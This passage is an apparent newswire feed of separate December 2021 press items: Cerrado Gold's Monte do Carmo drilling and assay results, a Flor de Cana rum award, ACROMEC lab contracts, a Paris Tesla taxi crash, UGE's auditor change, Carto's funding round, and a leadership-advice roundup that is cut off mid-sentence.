3. Figure 1. MDC Regional Geology To view an enhanced version of Figure 1, please visit: https://orders.newsfilecorp.com/files/7487/107769_3a5583a2742b99e2_002full.jpg The assay results reported in this press release were received up until November 30th, 2021 and represent the full extent of thirty-nine diamond drill holes, totaling 10,007 m completed at the Satellite targets. It should be noted that each target has only had a limited amount of drilling as compared to the Serra Alta deposit where approximately 6,250 meters (completed prior to Cerrado) of drilling was required to initially define the target and to understand the potential for resource definition. Drilling in November and December is focused on the concealed Baru and Fartura trends (Figure 2.) where Cerrado believes there is the possibility of replicating the copula contact Serra Alta mineralization style in segments along these kilometric trends. Figure 2. Location of Fartura and Baru trends To view an enhanced version of Figure 2, please visit: https://orders.newsfilecorp.com/files/7487/107769_3a5583a2742b99e2_003full.jpg Fartura Drilling The Fartura Target is located 2 km to the northwest of Serra Alta, also sitting along the granite complex contact zone. Four holes (FFA-001 to 004) were completed in Fartura. Core Logging and revised surface geological mapping confirmed that the host rock of the shallow mineralization (mined informally on surface) in Fartura is a porphyritic felsic volcanic. Visible gold and dense quartz veining occurred in holes FFA-001 and FFA-002 that returned relevant intercepts including 5.35 m at 1.85 g/t Au, from 62.83 m and 5.04 m at 1.50 g/t Au, from 32.56 m. The outline of mineralization at Fartura extends for over 200m in strike length and is open both to the north (under sedimentary volcanics) and to the south. The fact that relevant quartz veining and visible gold is found in felsic volcanic is very encouraging as the mineralization intensity is expected to increase in underlying granitic rock. Granitic rocks are exposed approximately 800 m to the south with showings of quartz veins and artisanal mining, this opens the potential for a kilometer scale mineralized trend (See Figure 1). Current drilling efforts are focused on the contact zone underneath the felsic volcanics along this trend. The concept of better endowment along a granitic copula follows the Serra Alta model that has demonstrated that better grades and continuity are expected in the more permissive granitic rock, especially in proximal intrusive contact zones. Figure 3. Fartura Drill Hole Locations & Highlighted Results To view an enhanced version of Figure 3, please visit: https://orders.newsfilecorp.com/files/7487/107769_3a5583a2742b99e2_004full.jpg Baru Target The Baru Target is located 1 km to the west of the south pit block of Serra Alta. Trenching and traversing carried out in Q2 revealed notable resemblance of the granitic units with Serra Alta including equigranular mid grain size granite, quartz sheeted veins, potassic alteration and staining along veins after sulphide oxidation. As in the case of Fartura south, the granitic rocks are exposed in a fault bounded block and terminate to the north where the felsic volcanic units outcrop (possibly concealing in depth the continuity of the granite (Figure 1). The exposed altered and mineralized granitic rock area was drilled tested with 8 holes spreading more than 500 m in a lateral sense and 200 m in the strike direction. This press release reports results for the first 6 holes (FBU-001 to 006, see table 3). Hole FBU-004, considered a discovery hole, shows notable mineralization continuity including 20.05 m at 0.71 g/t Au, from 240.05 m. This hole was collared immediately to the west of the Agua Suja Fault, a Northeast/Southwest striking regional fault that is believed to have controls both on possible primary loci of extensional gagues corridor and on later vertical offsets that can put into contact mineralized and unmineralized blocks. As is the case of Fartura (see presiding paragraphs) the felsic volcanics that sit in fault contact to the north show alteration and quartz veining along a Northeast trend that extends for over a 1 km (Figure 3). Cerrado currently has 2 rigs drilling through the volcanics with the dual objective of assessing any relevant mineralization hosted by the volcanic rocks and also testing the thickness of the sequence and the nature and mineralization of the underlaying intrusive rocks. Cerrado believes that the scale of the Baru target resembles that of Serra Alta and that similar structural levels of the granitic cupola that host the mineralization in Serra Alta could be preserved under the volcanic cover. Figure 4. Baru Drill Hole Locations & Highlighted Results To view an enhanced version of Figure 4, please visit: https://orders.newsfilecorp.com/files/7487/107769_3a5583a2742b99e2_005full.jpg Capitao The Capitao Target is located 6 km to the south of Serra Alta along the same granite complex. The hosting intrusive unit, as is the case of Serra Alta, is covered by quartzites and Devonian horizontal sediments. The target shares similar mineralogical paragenesis and cinematic tectonics with Serra Alta. Cerrado completed 10 drill holes in the Capitao target, totaling 3,793 m and notably expanded the footprint of the target previously constrained by historic drilling (Kinross 2007). The mineralized zone after successful extensional step outs now a strike length of 500 m with notable wide lateral extents up to 700 m. Capitao mineralization, shows resemblance with the Serra Alta granite intrusion hosted quartz/gold. A distinct feature of the mineralized granite areas in Capitao is the chlorite dominated alteration. Quartz vein density and visible gold occurrence are relatively less intense than Serra Alta. This is reflected in the lower grade tenor and continuity. Notable results include hole FCP-007, that intercepted 4.44 m at 2.14 g/t Au, from 165.41 m and 1.01 m at 8.63 g/t Au, from 232.74 m. This hole is in section with whole FCP-005 that intercepted 7.22 m at 0.94 g/t Au, from 71.65 m effectively defining a 200 m wide mineralized corridor. Hole FCP-004, drilled 100 m to the south, returned 2.9 m at 2.13 g/t Au, from 123.56 m. As is the case in Serra Alta mineralization is associated with quartz veins and sulphides (pyrite + galena + chalcopyrite). Cerrado believes that the mineralized trend drilled in Capitao might be relatively distal to the best endowed contact zone (e.g., felsic volcanics), which in terms of the current empirical exploration model constitutes the best loci for high grade mineralization. Follow up work in this target will include, some infill drilling to properly constrain grade shells purposed for completing a first resource estimate, and further scout drilling for possible concealed contact zones to test the hypothesis of better endowment along intrusive contact zones of copulas. Figure 5. Capitao Drill Hole Locations Highlighted Results To view an enhanced version of Figure 5, please visit: https://orders.newsfilecorp.com/files/7487/107769_3a5583a2742b99e2_006full.jpg Sucuri, Magalhaes and El Dorado The area between Capitao and Serra Alta, along the projected intrusive contact zone (Serra Alta context), is host to several additional targets including Sucuri and El Dorado. Sucuri area is located ~ 1.5 km to the Northwest of Capitao and includes sheeted vein targets (Serra Alta type) and discrete shear zone veins (Giant Vein model). Four holes were completed in Sucuri following trenching, mapping, and geochemical soils sampling. Notable results include the new discovery of a high-grade sheared vein intersected with hole FSC-01 that returned a 1 m at 9.72 g/t Au. The structure associated with this shear vein might extend to the southeast into the Magalhaes vein, that has undergone intense historical artisanal mining. Drilling of this structure in Magalhaes failed to intercept relevant mineralization. Cerrado conducted systematic drilling along 300 m of strike length of this structure in the Magalhaes area, the structure was crossed but at mined out areas (garimpos) and at non mineralized shear zones. Figure 6. Sucuri Drill Hole Locations & Highlighted Results To view an enhanced version of Figure 6, please visit: https://orders.newsfilecorp.com/files/7487/107769_3a5583a2742b99e2_007full.jpg Drilling in El Dorado, target located 500 m to the south of the southern edge of the current resource outline of Serra Alta failed to provide any relevant results. It is believed that structurally, this block compromises less fertile granitic phases. Bit-3 Target The Bit-3 target was developed by Verena in the 1980s following up on an airborne geophysical anomaly that imaged a large mafic/ultramafic unit. In 2018 Cerrado completed five trenches and 4 drill holes with positive results that were complemented by new geological mapping, warranting additional work. Drilling reported here was completed in Q3, 2021. Bit-3 was drilled and relevant gold grades from a biotite-quartz altered zone were returned in drill holes FLD-05 and FLD-06 (6.72 m at 1.50 g/t Au and 14.2m@ 0.69 Au g/t, respectively). The other Drill holes successfully intersected the continuity of shear zone, but with minor gold tenors. The current geological model of the mineralized zone indicates the potential of a down plunge and north strike extension. The sheared contact between granodiorite and ultramafic rocks extends to the northeast for about 15 Km. This regional trend, mainly included in Cerrado controlled land has undergone no systematic exploration and opens a new exploration front for the current scope of expanding the district gold resource. It is believed that along this strike length there is potential for replicating high grade shoots as the one preliminary shaped in Bit-3. Figure 7. Bit-3 Drill Hole Locations & Highlighted Results To view an enhanced version of Figure 7, please visit: https://orders.newsfilecorp.com/files/7487/107769_3a5583a2742b99e2_008full.jpg Table 1. Monte do Carmo Satellite Target Relevant Intercepts DDH From To LENGTH (m) True Width (m) Au (g/t) Fartura FFA-001 15.47 16.48 1.01 1.01 2.96 FFA-001 and 52.40 56.49 4.09 4.09 0.51 FFA-001 and 62.83 68.18 5.35 5.35 1.85 FFA-001 and 66.05 68.18 2.13 2.13 3.07 FFA-001 includes 69.03 70.10 1.07 1.07 0.46 FFA-002 26.70 28.71 2.01 2.01 0.62 FFA-002 includes 32.56 33.59 1.03 1.03 4.48 FFA-002 and 32.56 37.60 5.04 5.04 1.50 FFA-002 and 41.58 44.78 3.20 3.20 0.84 FFA-002 and 52.96 54.04 1.08 1.08 1.47 FFA-003 44.45 45.35 0.90 0.90 1.16 FFA-004 No significant values Ferradura FFE-09 34.43 35.52 1.09 1.09 0.47 FFE-09 and 220.26 222.31 2.05 2.05 0.36 FFE-09 and 340.75 341.83 1.08 1.08 0.86 El Dorado FEL-01 No significant values FEL-02 No significant values Sucuri FSC-001 44.00 45.00 1.00 1.00 9.72 FSC-002 No significant values FSC-003 No significant values FSC-004 No significant values Bit 3 FLD-05 155.35 163.25 7.90 6.72 1.50 FLD-05 includes 156.32 159.34 3.02 2.57 3.71 FLD-06 149.72 150.66 0.94 0.80 0.91 FLD-06 and 193.96 210.66 16.70 14.20 0.69 FLD-06 includes 193.96 195.09 1.13 0.96 3.51 FLD-06 includes 208.70 210.66 1.96 1.67 2.99 FLD-06 and 212.50 214.37 1.87 1.59 0.28 FLD-06 and 215.58 216.85 1.27 1.08 0.30 FLD-07 No significant values FLD-08 No significant values FLD-09 No significant values FLD-10 154.80 155.80 1.00 0.61 0.78 FLD-11 41.23 42.37 1.14 0.79 0.96 FLD-11 and 131.32 132.43 1.11 0.77 0.75 FLD-11 and 138.90 140.03 1.13 0.79 0.30 FLD-11 and 143.25 144.30 1.05 0.73 0.39 FLD-12 183.19 184.18 0.99 0.60 0.34 Baru FBU-001 346.49 347.50 1.01 1.01 0.53 FBU-002 No significant values FBU-003 No significant values FBU-004 211.45 212.48 1.03 1.03 0.60 FBU-004 and 224.26 225.24 0.98 0.98 1.38 FBU-004 and 231.70 233.80 2.10 2.10 0.55 FBU-004 and 240.05 260.10 20.05 20.05 0.71 FBU-004 includes 243.08 244.10 1.02 1.02 2.23 FBU-004 includes 255.82 257.03 1.21 1.21 2.01 FBU-005 33.50 34.53 1.03 1.03 1.35 FBU-006 No significant values DDH From To LENGTH (m) True Width (m) Au (g/t) Magalhaes FMG-01 No significant values FMG-02 No significant values FMG-03 No significant values FMG-04 No significant values FMG-05 No significant values FMG-06 No significant values Capitao FCP-001 24.93 25.98 1.05 0.94 0.51 FCP-001 and 49.80 50.80 1.00 0.90 0.34 FCP-001 and 91.10 93.25 2.15 1.93 1.66 FCP-001 and 114.56 116.53 1.97 1.77 0.50 FCP-001 and 213.35 214.48 1.13 1.01 0.54 FCP-001 and 305.47 306.52 1.05 0.94 6.12 FCP-002 No significant values FCP-003 21.65 22.72 1.07 0.96 0.78 FCP-003 and 35.24 36.35 1.11 1.00 1.59 FCP-003 and 78.47 83.57 5.10 4.57 0.68 FCP-003 includes 82.55 83.57 1.02 0.91 2.34 FCP-004 30.60 32.60 2.00 1.79 0.34 FCP-004 and 36.66 38.80 2.14 1.92 0.29 FCP-004 and 40.92 41.95 1.03 0.92 0.58 FCP-004 and 59.13 60.15 1.02 0.91 0.36 FCP-004 and 71.50 72.55 1.05 0.94 0.56 FCP-004 and 96.15 97.15 1.00 0.90 0.36 FCP-004 and 123.56 126.79 3.23 2.90 2.13 FCP-004 and 143.19 144.25 1.06 0.95 0.34 FCP-004 and 257.19 258.31 1.12 1.00 0.57 FCP-004 and 288.24 289.25 1.01 0.91 0.32 FCP-005 54.93 56.84 1.91 1.71 0.64 FCP-005 and 71.65 79.70 8.05 7.22 0.94 FCP-005 includes 77.72 78.68 0.96 0.86 2.24 FCP-005 and 88.00 89.07 1.07 0.96 0.70 FCP-005 and 92.25 93.35 1.10 0.99 0.88 FCP-005 and 98.77 99.85 1.08 0.97 1.57 FCP-005 and 183.46 185.60 2.14 1.92 0.34 FCP-005 and 188.59 189.63 1.04 0.93 0.61 FCP-005 and 222.38 223.40 1.02 0.92 0.35 FCP-005 and 235.47 236.53 1.06 0.95 0.50 FCP-005 and 407.48 408.59 1.11 1.00 0.63 FCP-006 No significant values FCP-007 89.3 91.35 2.05 2.05 0.71 FCP-007 and 94.5 95.50 1.00 1.00 0.30 FCP-007 and 97.50 98.50 1.00 1.00 2.22 FCP-007 and 99.50 103.50 4.00 4.00 0.63 FCP-007 and 165.41 169.85 4.44 4.44 2.14 FCP-007 and 175.95 178.88 2.93 2.93 1.03 FCP-007 and 220.3 221.31 1.01 1.01 0.73 FCP-007 and 226.4 227.41 1.01 1.01 1.42 FCP-007 and 232.74 233.75 1.01 1.01 8.63 DDH From To LENGTH (m) True Width (m) Au (g/t) Capitao (cont.) FCP-008 52.79 55.00 2.21 1.98 0.33 FCP-008 and 61.07 64.31 3.24 2.91 0.29 FCP-008 and 68.63 69.53 0.90 0.81 0.33 FCP-008 and 87.90 89.00 1.10 0.99 2.70 FCP-008 and 122.70 123.76 1.06 0.95 0.44 FCP-008 and 183.90 186.00 2.10 1.88 0.63 FCP-008 includes 184.95 186.00 1.05 0.94 1.10 FCP-008 and 252.79 253.85 1.06 0.95 0.40 FCP-008 and 254.90 260.15 5.25 4.71 0.61 FCP-008 includes 258.05 259.10 1.05 0.94 1.15 FCP-008 and 303.00 307.00 4.00 3.59 0.56 FCP-008 and 315.00 317.98 2.98 2.67 0.60 FCP-008 and 320.00 330.10 10.10 9.06 0.38 FCP-008 and 438.25 439.32 1.07 0.96 0.55 FCP-009 82.90 84.97 2.07 1.86 0.35 FCP-009 and 157.70 159.80 2.10 1.88 1.05 FCP-009 and 190.32 191.32 1.00 0.90 1.03 FCP-009 and 201.70 202.75 1.05 0.94 0.35 FCP-009 and 248.40 249.40 1.00 0.90 0.39 FCP-010 255.64 257.78 2.14 1.92 6.81 Composites Cut-off grade 0.30 Au g/t Table 2. Drill Hole Collars Target Hole ID Northing Easting Elevation Depth (m) Baru FBU-001 8809322 818846 400 372.4 Baru FBU-002 8809405 819039 348 40.7 Baru FBU-003 8809414 818854 411 189.5 Baru FBU-004 8809312 818938 397 350.1 Baru FBU-005 8809619 818391 379 139.3 Baru FBU-006 8809312 819114 339 43.0 Bit-3 FLD-05 8815722 810250 258 222.8 Bit-3 FLD-06 8815741 810307 256 270.8 Bit-3 FLD-07 8815717 810425 255 195.4 Bit-3 FLD-08 8815672 810166 260 180.8 Bit-3 FLD-09 8815800 810498 254 130.6 Bit-3 FLD-10 8815721 810255 258 270.6 Bit-3 FLD-12 8815689 810149 260 219.2 Capitao FCP-001 8805468 821364 550 327.4 Capitao FCP-002 8805276 821367 509 203.3 Capitao FCP-003 8805467 821482 552 257.8 Capitao FCP-004 8805571 821370 551 318.3 Capitao FCP-005 8805671 821449 571 529.0 Capitao FCP-006 8805568 821477 577 455.0 Capitao FCP-007 8805675 821256 541 298.1 Capitao FCP-008 8805765 821426 576 529.0 Capitao FCP-009 8805657 821775 558 292.3 Capitao FCP-010 8805865 821419 581 583.0 Eldorado FEL-001 8808416 818968 346 699.5 Eldorado FEL-002 8809061 819689 447 644.4 Fartura FFA-001 8810848 817914 548 291.0 Fartura FFA-002 8810770 817942 533 134.9 Fartura FFA-003 8810883 817940 543 327.3 Ferradura FFE-09 8812209 817450 433 451.3 Magalhaes FMG-001 8805353 821033 504 32.3 Magalhaes FMG-002 8805353 821031 504 72.0 Magalhaes FMG-003 8805385 820992 511 66.1 Magalhaes FMG-004 8805279 821099 497 70.3 Magalhaes FMG-005 8805280 821100 497 43.0 Magalhaes FMG-006 8805521 820852 511 48.2 Sucuri FSC-001 8806254 820205 533 353.0 Sucuri FSC-002 8806383 820164 522 180.5 Sucuri FSC-003 8806255 820201 533 100.4 Sucuri FSC-004 8806263 820011 521 75.0 Table 2. Reported Holes by Target Area Target # Of Holes Total Meterage Baru 6 1,134.9 Bit-3 7 1,490.1 Capitao 10 3,793.3 Eldorado 2 1,343.9 Fartura 3 753.2 Ferradura 1 451.3 Magalhaes 6 331.8 Sucuri 4 708.8 Total 39 10,007.2 Quality Assurance and Quality Control Analytical work was carried out by SGS Geosol International Lab (SGS). MDC sends half core samples for sample preparation to the lab. SGS prepares samples at Belo Horizonte and at the same facility performs gold assays by fire assay (FAA505) or metallic screen (FAASCR_150_Au-Grav), the coarse fraction of metallic screen is assayed at Belo Horizonte and alternatively in Lima, Peru. SGS has routine quality control procedures which ensure that every batch of samples includes three sample repeats and at least two commercial standards and two blanks. Cerrado uses standard QA/QC procedures, inserting reference standards and blanks, for the drilling program. The Reference material used are from CDN Resource Laboratories Ltd. and ITAK (Instituto de Tecnologia August Kekule Ltda.). Review of Technical Information The scientific and technical information in this press release has been reviewed and approved by Sergio Gelcich., Vice President, Exploration for Cerrado Gold Inc., who is a Qualified Person as defined in National Instrument 43-101. For further information please contact Mark Brennan CEO and Co Chairman Tel: +1-647-796-0023 mbrennan@cerradogold.com Nicholas Campbell, CFA Director, Corporate Development Tel.: +1-905-630-0148 ncampbell@cerradogold.com About Cerrado Gold Cerrado Gold is a gold production and exploration company with gold production derived from its 100% owned Minera Don Nicolas mine in Santa Cruz province, Argentina. The company is also undertaking exploration at its 100% owned Monte Do Carmo project located in Tocantins, Brazil. For more information about Cerrado Gold please visit our website at www.ceradogold.com. Disclaimer NEITHER TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE. This press release contains statements that constitute "forward-looking information" (collectively, "forward-looking statements") within the meaning of the applicable Canadian securities legislation, All statements, other than statements of historical fact, are forward-looking statements and are based on expectations, estimates and projections as at the date of this news release. Any statement that discusses predictions, expectations, beliefs, plans, projections, objectives, assumptions, future events or performance (often but not always using phrases such as "expects", or "does not expect", "is expected", "anticipates" or "does not anticipate", "plans", "budget", "scheduled", "forecasts", "estimates", "believes" or "intends" or variations of such words and phrases or stating that certain actions, events or results "may" or "could", "would", "might" or "will" be taken to occur or be achieved) are not statements of historical fact and may be forward-looking statements. Forward-looking statements contained in this press release include, without limitation, statements regarding the business and operations of Cerrado Gold. In making the forward- looking statements contained in this press release, Cerrado Gold has made certain assumptions, including, but not -5- limited to ability of Cerrado to expand its drilling program at its Minera Don Nicolas Project and increase its resources. Although Cerrado Gold believes that the expectations reflected in forwardlooking statements are reasonable, it can give no assurance that the expectations of any forward-looking statements will prove to be correct. Known and unknown risks, uncertainties, and other factors which may cause the actual results and future events to differ materially from those expressed or implied by such forward-looking statements. Such factors include, but are not limited to general business, economic, competitive, political and social uncertainties. Accordingly, readers should not place undue reliance on the forward-looking statements and information contained in this press release. Except as required by law, Cerrado Gold disclaims any intention and assumes no obligation to update or revise any forward-looking statements to reflect actual results, whether as a result of new information, future events, changes in assumptions, changes in factors affecting such forward-looking statements or otherwise. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/107769 LONDON, Dec. 15, 2021 /PRNewswire/ -- Flor de Cana, the sustainably produced premium rum brand from Nicaragua, achieved an unprecedented accomplishment during The Spirits Business Awards 2021 by being honored with the "Distillery Sustainability Award" and the "Ethical Award", in recognition of the brand's global leadership and profound commitment to sustainable practices. Flor de Cana received the "Distillery Sustainability Award" thanks to its commitment to reducing its environmental impact, which includes being the world's only Carbon Neutral and Fair Trade certified spirit, distilling its rum with 100% renewable energy, capturing all CO2 emissions during fermentation and having planted 800,000 trees since 2005. The brand also received the "Ethical Award" thanks to initiatives such as offering free education and healthcare to employees and their families since 1913, community outreach programs through donations and support to local non-profits, its pledge to plant one million trees by 2025 in partnership with One Tree Planted and its Zero Waste Month initiative, a partnership with Food Made Good and bars all over the world to reduce up to 9 tons of food waste through sustainable cocktails. Sustainability has been a core value of the founding family since the first generation back in 1890, with a holistic approach towards the well-being of employees, the environment and the community. This value has been shared by the thousands of workers who have been a part of Flor de Cana's 130-year history and whose efforts have allowed the brand to position itself at the forefront of sustainable distilling, setting the standard on sustainable practices. Flor de Cana produces a range of premium rums aged naturally in bourbon barrels for up to 30 years, without artificial ingredients or added sugar. The entire production process of Flor de Cana continues under the supervision of the same family, currently in its fifth generation, mastering the art of sustainable rum making. About Flor de Cana Rum Flor de Cana is a sustainably produced premium rum that's Carbon Neutral & Fair Trade certified. From an 1890 family estate, it's distilled with 100% renewable energy and naturally aged without sugar. It was awarded "Best Rum Producer of the Year" by the International Wine and Spirit Competition in 2017. www.flordecana.com Contact: corporatecommunications@flordecana.com Photo - https://mma.prnewswire.com/media/1710877/Flor_de_Cana_12_Year_Rum.jpg SINGAPORE, Dec 15, 2021 - (ACN Newswire) - ACROMEC Limited ("ACROMEC", or the "Company" and together with its subsidiaries, the "Group"), an established specialist engineering service provider in the field of controlled environments serving mainly the healthcare, biomedical, pharmaceutical, research and academia sectors, today announced that its wholly-owned subsidiary, ACROMEC Engineers Pte Ltd has secured two engineering, procurement and construction (EPC) contracts totalling approximately S$14 million.The first project is for Neste Asia Pacific Pte Ltd ("Neste"). In its continued effort to expand and improve their Sustainable Fuel and Oil products, Neste has entrusted ACROMEC to design & build a R&D Laboratory and Regional Office. In line with Neste's strong position as the 4th most sustainable company globally, ACROMEC offers its expertise in sustainable laboratory solutions with strong emphasis in energy conservation, particularly in HVAC system. This is carried out while addressing the safety requirements of the laboratory facility which has a compressed gas distribution system and which deals with flammable substances.ACROMEC would undertake full turnkey scope, including numerous number of fume hoods, laboratory furniture solutions, builder's works, HVAC and control system, an efficient laboratory exhaust system, process system dealing with flammables, new sprinkler tank and distribution, and an intensive electrical system network. The project is to start immediately and is to be completed by the second half of the financial year ending 30 September 2022 (FY2022).The second project is for Performance Specialty Products (Singapore) Pte Ltd, which is part of the DuPont Group, to construct a chemical laboratory at Solaris @ Kallang. This 600-square-metre lab will be designed for research with toxic chemicals, and the project involves fitting out of low-flow fume hoods, modular laboratory furniture solutions, and gas system with critical exhaust that is able to handle hazardous gas. The project is expected to start immediately and be completed by the first half of FY2022.Said Mr Lim Say Chin, Executive Chairman and Managing Director of ACROMEC, "We are pleased to have secured these contracts during these challenging times, which is a testament to our customers' continued recognition and confidence in our capabilities to deliver quality work. We are working hard and we will leverage on our extensive track record and proven expertise to actively pursue more contracts."The contracts are expected to contribute positively to the earnings per share and net tangible assets per share of the Group for FY2022.To the best of the Directors' knowledge, none of the Directors and controlling shareholders of the Company have any interests, direct or indirect, in these contracts, other than through their respective shareholdings in the Company.About Acromec Limited (SGX Stock Code: 1CH1)ACROMEC is an established specialist engineering services provider with more than 20 years of experience in the field of controlled environments. The Group has over the years acquired expertise in the design and construction of facilities requiring controlled environments such as laboratories, medical and sterile facilities and cleanrooms.ACROMEC's business is divided into two main business segments: (i) Engineering, procurement and construction services, specialising in architectural, and mechanical, electrical and process works within controlled environments; and (ii) Maintenance and repair services of facilities and equipment of controlled environments and their supporting infrastructure.The Group mainly serves the healthcare, biomedical, pharmaceutical, research and academia, and electronics sectors. ACROMEC counts amongst its customers, hospitals and medical centres, government agencies, research and development companies or agencies, research and development units of multinational corporations, tertiary educational institutions, pharmaceutical companies, semiconductor manufacturing companies, and multinational engineering companies. For more information, please visit www.acromec.com.Media and Analysts Contact:Acromec LimitedMr Jerry TanChief Financial OfficerTel: +65 6415 0574Email: jerry.tan@acromec.comWaterbrooks Consultant Pte LtdMr Wayne KooTel: +65 6958 8008 / +6593388166Email: wayne.koo@waterbrooks.com.sg, query@waterbrooks.com.sgThis media release has been reviewed by the Company's sponsor, PrimePartners Corporate Finance Pte. Ltd. (the "Sponsor"). It has not been examined or approved by the Singapore Exchange Securities Trading Limited (the "Exchange") and the Exchange assumes no responsibility for the contents of this document, including the correctness of any of the statements or opinions made or reports contained in this document.The contact person for the Sponsor is Mr Joseph Au, 16 Collyer Quay, #10-00 Income at Raffles, Singapore 049318, sponsorship@ppcf.com.sg.Source: ACROMEC LimitedCopyright 2021 ACN Newswire . All rights reserved. PARIS (dpa-AFX) - G7, a leading taxi company in Paris, has suspended the use of Tesla (TSLA) Model 3 taxi after it was involved in a fatal accident on Saturday in which one person was killed and 20 others injured. G7 has suspended the use of all the 37 Model 3 cars in its fleet following the accident. Three people are said to be in a serious condition, according to sources. France's transport minister Jean-Baptiste Djebbari said on Wednesday there was no suggestion at this stage that the accident was caused by a technical fault. The minister said he had spoken with the chief executive of Tesla Europe who told him there had been no safety concerns with the Model 3. Tesla Europe has not made any formal comment on the accident. The automaker collects detailed data from the sensors and cameras on its vehicles and has used such data in the past to challenge claims that accidents were caused by malfunctioning technology. G7 Deputy Chief Executive Yann Ricordel cited Tesla as saying that an initial inquiry had ruled out a technical fault. The accident took place while an off-duty taxi driver was taking his family to a restaurant. The driver tried to brake but the car accelerated instead, Ricordel said. A police source said that the car, which had stopped at a red traffic light, suddenly sped forward, hitting and dragging with it a cyclist who later died. The driver tried to stop the vehicle by steering into surrounding obstacles, including trash bins, causing further damage, the police source said, citing the driver's own version of events, witnesses and video surveillance. It was not clear whether the car was operating in autopilot mode. The driver tested negative in an alcohol test, police said. A judicial source said that an investigation into involuntary homicide by the driver had been opened. A video of the scene obtained by Reuters showed the wreckage of a black Tesla and debris strewn across the street. The vehicle's left-hand side was crumpled, the front left wheel collapsed and the windscreen shattered. Copyright RTT News/dpa-AFX TESLA-Aktie komplett kostenlos handeln - auf Smartbroker.de Toronto, Ontario--(Newsfile Corp. - December 15, 2021) - UGE International Ltd. (TSXV: UGE) (OTCQB: UGEIF) (the "Company" or "UGE"), a leader in the commercial and community solar sector today announced that it has changed its auditors from MNP LLP ("Former Auditor") to KPMG LLP ("Successor Auditor") effective December 9, 2021. At the request of the Company, the Former Auditor resigned as the auditor of the Company and the Board of Directors of the Company appointed the Successor Auditor as the new auditor, effective December 9, 2021 until the close of the Company's next Annual General Meeting. There were no reservations in the Former Auditor's audit reports for any financial period during which the Former Auditor was the Company's auditor. There are no "reportable events" (as the term is defined in National Instrument 51-102 - Continuous Disclosure Obligations) between the Company and the Former Auditor. In accordance with National Instrument 51-102, the Notice of Change of Auditor, together with the required letters from the Former Auditor and the Successor Auditor, have been reviewed by the Company's Audit Committee and will be filed on SEDAR accordingly. About UGE UGE develops, owns, and operates commercial and community solar projects in the US and strategic markets abroad. Our distributed energy solutions deliver cheaper, cleaner energy to businesses and consumers with no upfront cost. With over 500MW of global experience, we work daily to power a more sustainable world. Visit us at www.ugei.com. For more information, contact UGE at: +1 917 720 5685 investors@ugei.com Forward-Looking Statements Certain information set forth in this news release may contain forward-looking statements that involve substantial known and unknown risks and uncertainties, certain of which are beyond the control of the Company. Forward-looking statements are frequently characterized by words such as "plan", "continue", "expect", "project", "intend", "believe", "anticipate", "estimate", "may", "will", "potential", "proposed" and other similar words, or statements that certain events or conditions "may" or "will" occur. Readers are cautioned that the assumptions used in the preparation of such information, although considered reasonable at the time of preparation, may prove to be imprecise and, as such, undue reliance should not be placed on forward-looking statements. The Company assumes no obligation to update forward-looking statements, whether as a result of new information, future events or otherwise, except as required by applicable law. Neither the TSX Venture Exchange nor its Market Regulator (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/107775 Carto, a NYC-based cloud native spatial analysis platform, closed a $61m Series C funding. The round was led by Insight Partners, with participation from the European Investment Fund, as well as existing investors Accel, Salesforce Ventures, Hearst Ventures, Earlybird and Kibo. The company intends to use the funds to further accelerate cloud integrations, and continue its growth in verticals such as consumer packaged goods (CPG), retail, logistics, telecoms and beyond. Led by Luis Sanz, CEO, Carto is a cloud native location intelligence platform, enabling organizations to use spatial data and analysis for more efficient delivery routes, behavioral marketing, strategic store placements, and more. Spatial analytics enables organizations to understand where and why things happen. With support for Google BigQuery, Snowflake, Amazon Redshift, Databricks and PostgreSQL systems, the platform is used by market leaders such as JLL, Mastercard and T-Mobile and CARTO. The company has more than 150 employees spread across the US and Europe. FinSMEs 15/12/2021 2021 has been a challenging year for leaders everywhere, but also an opportunity to grow and use effective leadership skills. With so much uncertainty and fast-paced change in the workplace and business landscape, it can be hard to focus on developing your leadership skills. That's why we've gathered all of the best leadership advice from FM magazine articles published over the past year. (Part one can be found here.) Read on to discover leadership tips from experts around the world. Effectively communicate to lead successful change Employees tend to resist change, not because they want to block it, but because they don't understand it, said Lisa Hannum, president and CEO of Beehive Strategic Communication in St. Paul, Minnesota, in the US. She pointed out that while change creates uncertainty, when it is well managed and effectively communicated, it can be positive and energising. "Change often fuels creativity, innovation, and momentum, but to facilitate successful change, you must get the employees on board," she said, and added the best way to do that is through communication. "When you are proactively and consistently communicating, listening, and inviting feedback, you are minimising resistance," Hannum said. "Even if it's hard in the short term, change is designed for long-term benefit to an organisation's stakeholders." From "How Effective Leaders Communicate Difficult Change", by Teri Saylor, 3 September 2021 Support a resilient workforce through regular engagement, communication, and upskilling Shivani Maitra, a London-based human capital consulting partner at Deloitte, said employers must first keep an eye on their employees' morale and overall wellbeing and do so on an individual, human level, rather than solely through company-wide wellbeing programmes. Check to make sure your staff are taking enough time off, getting enough rest, and receiving support to cope with stress. Employees may have caring responsibilities or other complications brought on by the pandemic; good employers will be responsive to that. Second, managers should maintain regular engagement and communication with staff to keep them in the loop, especially if they are working remotely. Ask yourself: Am I talking to my people enough? Do they know what's happening? Do they have access to the leadership team? Are they engaging enough with their colleagues? Healthy, satisfied employees who feel well connected tend to be the most resilient employees, Maitra said. The third element, which Maitra said was most critical, is upskilling your people to adapt to fast-changing marketplaces. From "How CFOs Can Incorporate Resilience in Their Plans: Workforce", by Portia Crowe, 12 August 2021 Link organisational strategies to individual goals A good starting point is understanding how employees' output contributes to the achievement of corporate strategic goals. At one organisation, Funmi Adesida, FCMA, CGMA, who was principal consultant at ADF Business Solutions in Lagos, worked with a human resources consultant who created a strategy map that helped the company translate its strategies into individual goals that could be measured. The one-page chart encompassed what the organisation wanted to achieve with each strategy, information that could be used to build KPIs. The next step was to set goals company-wide, then for departments, and finally for individual roles. "It was so simple," Adesida said. By tying company aims to individual and shared goals, "everyone could understand the implications of their own tasks", she said. That engagement can give them the information and the inspiration they need to innovate or adapt to change. Communicating about this process and its intent to staff and managers is also critical. "To get what you want, you must explain why you're doing something," she said. From "6 Ways to Encourage Innovation Through Performance Management", by Anita Dennis, 9 November 2021 Take this opportunity to lead on ESG Companies' recognition of the climate crisis is an opportunity for accountants to take the lead in supporting business decisions, 